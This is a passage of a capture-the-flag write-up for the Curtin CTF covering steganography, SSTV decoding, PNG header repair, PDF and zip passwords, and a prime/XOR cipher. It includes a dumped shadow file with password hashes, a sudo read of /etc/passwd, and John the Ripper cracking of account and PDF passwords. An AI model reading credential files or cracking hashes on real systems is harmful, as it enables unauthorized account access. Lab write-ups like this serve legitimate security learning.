root:$y$j9T$LjZTEgG8Wxclg1N6XBZQW.$.5ACBOKFErAPNoOHpfgA1dpJSU0Fxp0vlkqdDH1c3l.:0:0::7:::
daemon:*:19993:0:99999:7:::
bin:*:19993:0:99999:7:::
sys:*:19993:0:99999:7:::
sync:*:19993:0:99999:7:::
games:*:19993:0:99999:7:::
man:*:19993:0:99999:7:::
lp:*:19993:0:99999:7:::
mail:*:19993:0:99999:7:::
news:*:19993:0:99999:7:::
uucp:*:19993:0:99999:7:::
proxy:*:19993:0:99999:7:::
www-data:*:19993:0:99999:7:::
backup:*:19993:0:99999:7:::
list:*:19993:0:99999:7:::
irc:*:19993:0:99999:7:::
_apt:*:19993:0:99999:7:::
nobody:*:19993:0:99999:7:::
systemd-network:!*:19993::::::
systemd-timesync:!*:19993::::::
dhcpcd:!:19993::::::
messagebus:!:19993::::::
syslog:!:19993::::::
systemd-resolve:!*:19993::::::
uuidd:!:19993::::::
tss:!:19993::::::
sshd:!:19993::::::
pollinate:!:19993::::::
tcpdump:!:19993::::::
landscape:!:19993::::::
fwupd-refresh:!*:19993::::::
polkitd:!*:19993::::::
ec2-instance-connect:!:19993::::::
_chrony:!:19993::::::
ubuntu:$y$j9T$LARgrAVr4DwXIbNL04hae/$8ugeIXS5HT/QFnSE/puWT321MhP0CxlRQTi3CBHxAA/:20008:0:99999:7:::
john:$y$j9T$cSetG9C7J5K20OZMEgrmU.$6mR190lLFUEE7U0/FCW9coJDCJD32tuXpCy2YAfgG/.:20008:0::7:::
lxd:!:20008::::::
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$ sudo /bin/more /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:996:996:systemd Time Synchronization:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
syslog:x:102:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:991:991:systemd Resolver:/:/usr/sbin/nologin
uuidd:x:103:103::/run/uuidd:/usr/sbin/nologin
tss:x:104:104:TPM software stack,,,:/var/lib/tpm:/bin/false
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:106:1::/var/cache/pollinate:/bin/false
tcpdump:x:107:108::/nonexistent:/usr/sbin/nologin
landscape:x:108:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:990:990:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
polkitd:x:989:989:User for polkitd:/:/usr/sbin/nologin
ec2-instance-connect:x:109:65534::/nonexistent:/usr/sbin/nologin
_chrony:x:110:112:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
john:x:1001:1001:John Rodrigues,,,:/home/john:/bin/bash
lxd:x:999:105::/var/snap/lxd/common/lxd:/bin/false
So we have this two and we can use unshadow command
ref:https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf/password2]
└─$ ls
passwd shadow unshadow.txt
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf/password2]
└─$ john --single unshadow.txt --format=crypt
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:03 17.62% (ETA: 19:39:03) 0g/s 412.5p/s 412.5c/s 412.5C/s Johnrodrigues5..Johnf
0g 0:00:00:05 24.45% (ETA: 19:39:06) 0g/s 417.8p/s 417.8c/s 417.8C/s Ubuntuubuntu\..Ubuntu!!
0g 0:00:00:06 33.13% (ETA: 19:39:05) 0g/s 419.0p/s 419.0c/s 419.0C/s Ubuntuubuntu!!..wubuntuubuntu
0g 0:00:00:07 35.93% (ETA: 19:39:05) 0g/s 420.6p/s 420.6c/s 420.6C/s wuubuntu..Tuubuntu
0g 0:00:00:08 38.21% (ETA: 19:39:07) 0g/s 421.7p/s 421.7c/s 421.7C/s NjRodrigues..TJRodrigues
0g 0:00:00:09 40.93% (ETA: 19:39:08) 0g/s 422.2p/s 422.2c/s 422.2C/s .johnjohn..^john
RodriguEsJohn (john)
Almost done: Processing the remaining buffered candidate passwords, if any.
1g 0:00:00:17 DONE (2024-10-13 19:39) 0.05810g/s 412.0p/s 416.2c/s 416.2C/s root1968..root1900
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Then we can obtain the flag of it which i dont manage to complet it in time because i fall asleep my bad :
1
flag:CURTIN_CTF{RodriguEsJohn}
18.TRANSPARENCY
So we are given the stego.png and i analyze using zsteg for this challenges
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf]
└─$ zsteg -a stego.png
imagedata .. file: SVr2 curses screen image, big-endian
b1,rgba,lsb,xy .. text: "gvfvfwvv"
b1,abgr,msb,xy .. text: "vgfgfwgg"
b2,r,msb,xy .. text: ["U" repeated 8 times]
b2,g,lsb,xy .. text: ["U" repeated 8 times]
b2,g,msb,xy .. text: ["U" repeated 10 times]
b2,b,lsb,xy .. text: "UUUUUUUU_"
b2,a,lsb,xy .. text: "t`/tB@LD7"
b2,rgba,lsb,xy .. text: "IJHJIHIHIKJ"
b2,abgr,msb,xy .. text: "WUVUWVWT"
b3p,r,lsb,xy .. text: "JooooojJJ"
b3p,r,msb,xy .. text: "VRR\tm[[[[[["
b3p,g,lsb,xy .. text: "JooooojJJ"
b3p,g,msb,xy .. text: "VRR\tm[[["
b3p,b,lsb,xy .. text: "JooooojJJJl"
b3p,b,msb,xy .. text: "VRRR6\t\t\t"
b3p,rgb,lsb,xy .. text: "%%JJJooooooooooooooooJJJJJJJJ"
b3p,rgb,msb,xy .. text: ["[" repeated 8 times]
b3p,bgr,lsb,xy .. text: "%%JJJooooooooooooooooJJJJJJJJPPPuu"
b3p,bgr,msb,xy .. text: ["[" repeated 8 times]
b3p,abgr,msb,xy .. text: "_Z][^\\^X"
b4,r,lsb,xy .. text: "\"33333333\"\"\"\"DEVfffffffffwwwwffffffffwwwwwwww"
b4,r,msb,xy .. text: "jfffffffff"
b4,g,lsb,xy .. text: "\"33333333\"\"\"\"DEVfffffUUUUffffUUUUUUUUffffffff"
b4,g,msb,xy .. text: ["f" repeated 8 times]
b4,b,lsb,xy .. text: "\"33333333\"\"\"\"\"#4DDDDD3333DDDD33333333DDDDDDDDfffffgx"
b4,b,msb,xy .. text: "\"\"\"\"\"\"\"\"fffff"
b4,rgb,lsb,xy .. text: "fff\"&f31"
b4,rgb,msb,xy .. text: "HDf63\"bf"
b4,bgr,lsb,xy .. text: "fff\"&f31"
b4,bgr,msb,xy .. text: "HDf63\"bf"
b4,rgba,lsb,xy .. text: "fdfi\"'fi34"
b4,abgr,msb,xy .. text: "@Dff?3$\"jf"
b5p,r,lsb,xy .. text: "$%.666666666????66666666????????IIIIIJS[jTaX"
b5p,r,msb,xy .. text: "tlllllllll"
b5p,g,lsb,xy .. text: "$%.66666----6666--------66666666@@@@@AJRjTaX"
b5p,g,msb,xy .. text: ["l" repeated 8 times]
b5p,b,lsb,xy .. text: "$$$$$$$$6666678@XBWN"
b5p,b,msb,xy .. text: "$$$$$$$$lllll"
b5p,rgb,lsb,xy .. text: "$$$--6666666666655555555>>>>>>>>5555555555555555>>>>>>>>>>>>>>>>HHHHHHHHHHHQQZZZmRRddI["
b5p,rgb,msb,xy .. text: ["o" repeated 8 times]
b5p,bgr,lsb,xy .. text: ["&" repeated 11 times]
b5p,bgr,msb,xy .. text: ["o" repeated 8 times]
b5p,abgr,msb,xy .. text: "~itnyrx`"
b6,r,msb,xy .. text: "UUUUUUu]"
b6,g,msb,xy .. text: "eUUmU5MY"
b6p,r,msb,xy .. text: "iYYYYYYYYY"
b6p,g,msb,xy .. text: ["Y" repeated 8 times]
b6p,b,msb,xy .. text: "\t\t\t\t\t\t\t\tYYYYY"
b6p,rgb,lsb,xy .. text: "ouzoZJEJZp"
b6p,rgb,msb,xy .. text: ["^" repeated 8 times]
b6p,bgr,lsb,xy .. text: "ouzoZJEJZp"
b6p,bgr,msb,xy .. text: ["^" repeated 8 times]
b6p,abgr,msb,xy .. text: "3}-)Kemi"
b7p,r,lsb,xy .. text: "7=,\",HG.B@4X,=0"
b7p,r,msb,xy .. text: "R222222222"
b7p,g,lsb,xy .. text: "7=,\",HG.B@4X,=0"
b7p,g,msb,xy .. text: "22222222\n\n\n\n\n"
b7p,b,lsb,xy .. text: "7=,\",HG.B@4X,=0"
b7p,b,msb,xy .. text: ["\n" repeated 8 times]
b7p,rgb,lsb,xy .. text: "7;<7,$\#$,8HLG;/,C4@ 4(Xl,"
b7p,rgb,msb,xy .. text: ["<" repeated 8 times]
b7p,bgr,lsb,xy .. text: "7;<7,$\#$,8HLG;/,C4@ 4(Xl,"
b7p,bgr,msb,xy .. text: ["<" repeated 8 times]
b7p,abgr,msb,xy .. text: "3{'S;gKc"
b8,r,lsb,xy .. text: [" " repeated 8 times]
b8,r,msb,xy .. text: ["x" repeated 8 times]
b8,g,lsb,xy .. text: [" " repeated 8 times]
b8,g,msb,xy .. text: ["x" repeated 8 times]
b8,b,lsb,xy .. text: [" " repeated 8 times]
b8,b,msb,xy .. text: ["x" repeated 8 times]
b8,a,lsb,xy .. text: "Digital forensics (sometimes known as digital forensic science) is a branch of forensic science encompassing the recovery, investigation, examination, and analysis of material found in digital devices, often in relation to mobile devices and computer crime"
then we need to spesify it with this command and we got the flag
1
2
3
4
5
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf]
└─$ zsteg -E b8,a,lsb,xy stego.png
Digital forensics (sometimes known as digital forensic science) is a branch of forensic science encompassing the recovery, investigation, examination, and analysis of material found in digital devices, often in relation to mobile devices and computer crime. The term 'digital forensics' was originally used as a synonym for computer forensics but has expanded to cover investigation of all devices capable of storing digital data. With roots in the personal computing revolution of the late 1970s and early 1980s, the discipline evolved in a haphazard manner during the 1990s, and it was not until the early 21st century that national policies emerged.
CURTIN_CTF{imagine_not_using_steghide}
1
flag:CURTIN_CTF{imagine_not_using_steghide}
19.CRAZY SIGNAL
So we are given a audio.mpeg so i heard and analyze it i found out its like SSTV because it related to alien sound so i reach this page
ref:https://github.com/colaclanth/sstv
And try so basically we need to change the file type for required the SSTV decoder tool so i change the audio mpeg to wav online
ref:https://cloudconvert.com/mpeg-to-wav
And follow the command from the github
1
2
3
4
5
6
7
8
9
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf/sstv]
└─$ sstv -d /home/hackboredzz/curtinctf/flag.wav -o result.png
[sstv] Searching for calibration header... Found!
[sstv] Detected SSTV mode Robot 36
[sstv] Decoding image... [###################################################################.] 99%
[sstv] Reached end of audio whilst decoding.
[sstv] Drawing image data...
[sstv] ...Done!
We got the qrcode and i use cyberchef to get the flag
1
flag:CURTIN_CTF{SP4C3_EXPL0RERS_MU5T_KNOW_AB0U7_SSTV}
20.IHEADER
So we gonna use hex editor to check the file signature related to the title
So i found this and try it.
ref:https://ctftime.org/writeup/23809
And i follow and i check there is something fishy because it contains
1
2
3
41 41 41 41 (AAAA)
42 42 42 42 (BBBB)
So we need to change that to
1
2
49 48 44 52 (IHDR)
49 44 41 54 (IDAT)
And save the file
We gotta fix this and get the flag
1
flag:CURTIN_CTF{m4gic_byt3s_are_s0_mag1cal}
24.CRACKED PDF
So we are given the pdf file with a password protected so we gonna use john to crack it
1
2
3
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf]
└─$ pdf2john cracked.pdf
cracked.pdf:$pdf$5*6*256*-4*1*16*91a8bafd3041e1637913de91e5bf2883*48*30ff892c8822ea4923c10cbb4118f94403de36b2764e46e6e96a632b45dda0f9831f7dfe2888fc326605ba75b5ad6390*48*223370c6628184c5b08a1fe6586e81c2cc48fce3dd70fec01a7bcd423fa6d13dc8c27382d7c7301acc2974bc14e1205a*32*e495f86cf0670d3a2ac2be23f4807ba237a3d652a11054ce80b3b3ed14141b44*32*6fa21f7f4670c7c004acbba2cf095db2667083ac4d960e20851fc08b36e03d69
1
2
3
4
5
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf]
└─$ john --show cracked.txt
cracked.pdf:PRETTY
1 password hash cracked, 0 left
So we got the password which is :PRETTY when we open the pdf it contains some . _
And using this tools it help me get the flag
ref:https://scwf.dima.ninja/
1
flag:CURTIN_CTF{UNDERST4NDING_WH1TE_SP4CES_IS_IMP0RT4NT}
25.EXTENSION
so we are given .zip file but we cannot open it so i wrote a python code to get the flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import zipfile
import os
import base64
# Function to extract a zip file with an optional password
def extract_zip(zip_path, extract_to, password=None):
with zipfile.ZipFile(zip_path, 'r') as zip_ref:
if password:
zip_ref.extractall(extract_to, pwd=bytes(password, 'utf-8'))
else:
zip_ref.extractall(extract_to)
# Paths to the files
zip_file_path = 'flag (4).zip'
extract_dir = 'extracted_files'
flag_extract_dir = 'flag_extracted'
# Step 1: Extract the initial zip file
os.makedirs(extract_dir, exist_ok=True)
extract_zip(zip_file_path, extract_dir)
# Step 2: Read the password from the 'password' file
password_file_path = os.path.join(extract_dir, 'password')
with open(password_file_path, 'r') as password_file:
password = password_file.read().strip()
# Step 3: Extract the flag.zip file using the password
flag_zip_path = os.path.join(extract_dir, 'flag.zip')
os.makedirs(flag_extract_dir, exist_ok=True)
extract_zip(flag_zip_path, flag_extract_dir, password)
# Step 4: Read and decode the flag
flag_file_path = os.path.join(flag_extract_dir, 'flag')
with open(flag_file_path, 'r') as flag_file:
flag_content = flag_file.read()
# Decode the base64-encoded flag
decoded_flag = base64.b64decode(flag_content).decode('utf-8')
# Output the flag
print(f"The hidden flag is: {decoded_flag}")
then exeecute the code we got the flag
1
2
3
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf]
└─$ python3 extension.py
The hidden flag is: CURTIN_CTF{FLAG_EXTR4CTED_MiSS1ON_ACC0MPLISHED}
26.TRIVIAL 1
we got the file and thre is a long value of prime there so i wrote a pythons scirpt to decode it
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from sympy import mod_inverse
# Insert your encrypted flag here
encrypted_flag = [
# Put your long encrypted flag values here
]
# Insert your prime list here
prime_list = [
# Put your long prime numbers list here
]
def decrypt_with_known_format(encrypted_values, primes, key):
decrypted_chars = []
for encrypted_val in encrypted_values:
# Reverse the encryption process for each encrypted value
for prime in reversed(primes):
encrypted_val ^= key # Reverse XOR
encrypted_val = encrypted_val // prime # Reverse multiplication
decrypted_chars.append(chr(encrypted_val))
return ''.join(decrypted_chars)
# Known flag format: "CURTIN_CTF{"
known_flag_start = "CURTIN_CTF{"
# Brute-force over the possible key values (from 1 to 100)
for key in range(1, 101):
try:
# Check if we get the correct start of the flag
flag = decrypt_with_known_format(encrypted_flag[:len(known_flag_start)], prime_list, key)
if flag == known_flag_start:
print(f"Correct key found: {key}")
# Now that we've found the correct key, decrypt the entire flag
full_flag = decrypt_with_known_format(encrypted_flag, prime_list, key)
print(f"Decrypted flag: {full_flag}")
break
except Exception as e:
continue # Ignore any errors and continue brute-forcing the key
1
2
3
4
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf]
└─$ python3 trivial2.py
Correct key found: 23
Decrypted flag: CURTIN_CTF{h4v3_y0u_s33n_op71mu5_pr1m3}
Conclusion
thank you to my teamate members which is @n3r and @ichimon for gathering with me solving CURTIN CTF. We end at 5th place of this competition hehehe..




















